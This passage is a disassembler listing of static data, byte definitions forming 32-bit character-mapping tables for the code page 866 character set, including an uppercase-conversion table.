		db    0	;  
		db  81h	; │
		db    0	;  
		db    0	;  
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db    0	;  
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db    0	;  
		db    0	;  
		db  84h	; └
		db    0	;  
		db    0	;  
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db    0	;  
		db    0	;  
		db  86h	; ├
		db    0	;  
		db    0	;  
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db    0	;  
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db    0	;  
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db    0	;  
		db    0	;  
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db    0	;  
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db    0	;  
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db    0	;  
		db    0	;  
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db    0	;  
		db    0	;  
		db  96h	; √
		db    0	;  
		db    0	;  
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db    0	;  
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db    0	;  
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D1h	; я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F1h	; Я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    9	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  10h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  11h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  12h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  13h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  14h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  15h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  16h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  17h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  18h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  19h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  20h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  21h	; !
		db    0	;  
		db    0	;  
		db    0	;  
		db  22h	; "
		db    0	;  
		db    0	;  
		db    0	;  
		db  23h	; #
		db    0	;  
		db    0	;  
		db    0	;  
		db  24h	; $
		db    0	;  
		db    0	;  
		db    0	;  
		db  25h	; %
		db    0	;  
		db    0	;  
		db    0	;  
		db  26h	; &
		db    0	;  
		db    0	;  
		db    0	;  
		db  27h	; '
		db    0	;  
		db    0	;  
		db    0	;  
		db  28h	; (
		db    0	;  
		db    0	;  
		db    0	;  
		db  29h	; )
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ah	; *
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Bh	; +
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Dh	; -
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Eh	; .
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Fh	; /
		db    0	;  
		db    0	;  
		db    0	;  
		db  30h	; 0
		db    0	;  
		db    0	;  
		db    0	;  
		db  31h	; 1
		db    0	;  
		db    0	;  
		db    0	;  
		db  32h	; 2
		db    0	;  
		db    0	;  
		db    0	;  
		db  33h	; 3
		db    0	;  
		db    0	;  
		db    0	;  
		db  34h	; 4
		db    0	;  
		db    0	;  
		db    0	;  
		db  35h	; 5
		db    0	;  
		db    0	;  
		db    0	;  
		db  36h	; 6
		db    0	;  
		db    0	;  
		db    0	;  
		db  37h	; 7
		db    0	;  
		db    0	;  
		db    0	;  
		db  38h	; 8
		db    0	;  
		db    0	;  
		db    0	;  
		db  39h	; 9
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Ah	; :
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Bh	; ;
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Ch	; <
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Dh	; =
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Eh	; >
		db    0	;  
		db    0	;  
		db    0	;  
		db  3Fh	; ?
		db    0	;  
		db    0	;  
		db    0	;  
		db  40h	; @
		db    0	;  
		db    0	;  
		db    0	;  
		db  41h	; A
		db    0	;  
		db    0	;  
		db    0	;  
		db  42h	; B
		db    0	;  
		db    0	;  
		db    0	;  
		db  43h	; C
		db    0	;  
		db    0	;  
		db    0	;  
		db  44h	; D
		db    0	;  
		db    0	;  
		db    0	;  
		db  45h	; E
		db    0	;  
		db    0	;  
		db    0	;  
		db  46h	; F
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db    0	;  
		db    0	;  
		db    0	;  
		db  48h	; H
		db    0	;  
		db    0	;  
		db    0	;  
		db  49h	; I
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ah	; J
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Bh	; K
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ch	; L
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Dh	; M
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Eh	; N
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Fh	; O
		db    0	;  
		db    0	;  
		db    0	;  
		db  50h	; P
		db    0	;  
		db    0	;  
		db    0	;  
		db  51h	; Q
		db    0	;  
		db    0	;  
		db    0	;  
		db  52h	; R
		db    0	;  
		db    0	;  
		db    0	;  
		db  53h	; S
		db    0	;  
		db    0	;  
		db    0	;  
		db  54h	; T
		db    0	;  
		db    0	;  
		db    0	;  
		db  55h	; U
		db    0	;  
		db    0	;  
		db    0	;  
		db  56h	; V
		db    0	;  
		db    0	;  
		db    0	;  
		db  57h	; W
		db    0	;  
		db    0	;  
		db    0	;  
		db  58h	; X
		db    0	;  
		db    0	;  
		db    0	;  
		db  59h	; Y
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Ah	; Z
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Bh	; [
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Ch	; \
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Dh	; ]
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Eh	; ^
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Fh	; _
		db    0	;  
		db    0	;  
		db    0	;  
		db  60h	; `
		db    0	;  
		db    0	;  
		db    0	;  
		db  41h	; A
		db    0	;  
		db    0	;  
		db    0	;  
		db  42h	; B
		db    0	;  
		db    0	;  
		db    0	;  
		db  43h	; C
		db    0	;  
		db    0	;  
		db    0	;  
		db  44h	; D
		db    0	;  
		db    0	;  
		db    0	;  
		db  45h	; E
		db    0	;  
		db    0	;  
		db    0	;  
		db  46h	; F
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db    0	;  
		db    0	;  
		db    0	;  
		db  48h	; H
		db    0	;  
		db    0	;  
		db    0	;  
		db  49h	; I
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ah	; J
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Bh	; K
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ch	; L
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Dh	; M
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Eh	; N
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Fh	; O
		db    0	;  
		db    0	;  
		db    0	;  
		db  50h	; P
		db    0	;  
		db    0	;  
		db    0	;  
		db  51h	; Q
		db    0	;  
		db    0	;  
		db    0	;  
		db  52h	; R
		db    0	;  
		db    0	;  
		db    0	;  
		db  53h	; S
		db    0	;  
		db    0	;  
		db    0	;  
		db  54h	; T
		db    0	;  
		db    0	;  
		db    0	;  
		db  55h	; U
		db    0	;  
		db    0	;  
		db    0	;  
		db  56h	; V
		db    0	;  
		db    0	;  
		db    0	;  
		db  57h	; W
		db    0	;  
		db    0	;  
		db    0	;  
		db  58h	; X
		db    0	;  
		db    0	;  
		db    0	;  
		db  59h	; Y
		db    0	;  
		db    0	;  
		db    0	;  
		db  5Ah	; Z
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Bh	; {
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Ch	; |
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Dh	; }
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Eh	; ~
		db    0	;  
		db    0	;  
		db    0	;  
		db  7Fh	; 
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		db  81h	; │
		db    0	;  
		db    0	;  
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db    0	;  
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db    0	;  
		db    0	;  
		db  84h	; └
		db    0	;  
		db    0	;  
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db    0	;  
		db    0	;  
		db  86h	; ├
		db    0	;  
		db    0	;  
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db    0	;  
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db    0	;  
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db    0	;  
		db    0	;  
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db    0	;  
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db    0	;  
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db    0	;  
		db    0	;  
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db    0	;  
		db    0	;  
		db  96h	; √
		db    0	;  
		db    0	;  
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db    0	;  
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db    0	;  
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BAh	; ╨
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db    0	;  
		db    0	;  
		db 0BFh	; ©
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C7h	; г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C9h	; и
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CAh	; й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CBh	; к
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CCh	; л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CDh	; м
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D1h	; я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db    0	;  
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F0h	; П
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F1h	; Я
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FDh	; Щ
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FEh	; Ч
		db    0	;  
		db    0	;  
		db    0	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    0	;  
		db    0	;  
		db    0	;  
		db  81h	; │
		db    0	;  
		db    0	;  
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db    0	;  
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db    0	;  
		db    0	;  
		db  84h	; └
		db    0	;  
		db    0	;  
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db    0	;  
		db    0	;  
		db  86h	; ├
		db    0	;  
		db    0	;  
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db    0	;  
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db    0	;  
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db    0	;  
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db    0	;  
		db    0	;  
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db    0	;  
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db    0	;  
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db    0	;  
		db    0	;  
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db    0	;  
		db    0	;  
		db  96h	; √
		db    0	;  
		db    0	;  
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db    0	;  
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db    0	;  
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db    0	;  
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A1h	; ║
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A2h	; ╒
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AAh	; ╙
		db    0	;  
		db    0	;  
